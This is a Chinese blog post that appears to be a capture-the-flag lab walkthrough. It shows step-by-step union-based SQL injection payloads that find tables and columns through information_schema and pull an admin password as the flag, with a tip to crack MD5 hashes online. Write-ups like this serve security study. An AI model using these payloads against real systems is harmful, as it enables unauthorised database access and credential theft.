第一章:为了女神小芳!

黑鬼   ·   发表于 2023-11-22 18:07:00   ·   学习杂记

目标地址:http://pu2lh35s.ia.aqlab.cn/?id=1

判断是否存在注入

?id=1 and 1=1 页面显示正常
?id=1 and 1=2 页面不显示内容,说明存在注入点

判断表字段个数

?id=1 order by 2 页面显示正常
?id=1 order by 3 页面不显示内容, 说明表有2个字段

找回显点

?id=1 and 1=2 union select 111,222

这里加上 and 1=2 目的是让第一张表查不到数据, 只返回第二张表 select 111,222 的数据。页面上可以看到 222 回显点。

如果不加上 and 1=2 会发现页面没有变化,因为默认显示是查询出来的第一条数据,也就当前看到的那条新闻,当然可以通过 limit 查询第二条数据也是可以看到回显点的。

?id=1 union select 111,222 limit 1,1 (这里是因为新闻表里只有1条数据, 所以 limit 1,1 可以查到数据)

查表名

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

这里是 mysql 数据库, 系统表 information_schema.tables 里存有表名(table_name), 库名(table_schema)等字段, database() 表示当前数据库, 通过这个条件不断变化 limit值可以找到所有表名,这里找到第一张表名 admin。

查字段名

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=”admin” limit 0,1

系统表 information_schema.columns 里存有字段名(column_name),表格名(table_name),库名(table_schema) 等字段,已经知道了库名和表名, 自然可以拿到字段名。

修改 limit 参数,拿到 admin 表的字段 Id, username, password

查数据

?id=1 and 1=2 union all select 1, password from admin limit 0,1

页面回显点可以看到 password 值为 hellohack ,这个也就是我们要找的 flag。

有时候密码不是明文,会用 md5 加密等,可以在 https://cmd5.com/ 解密一下即可。

打赏我,让我更有动力~

0 条回复   |  直到 5个月前 | 202 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.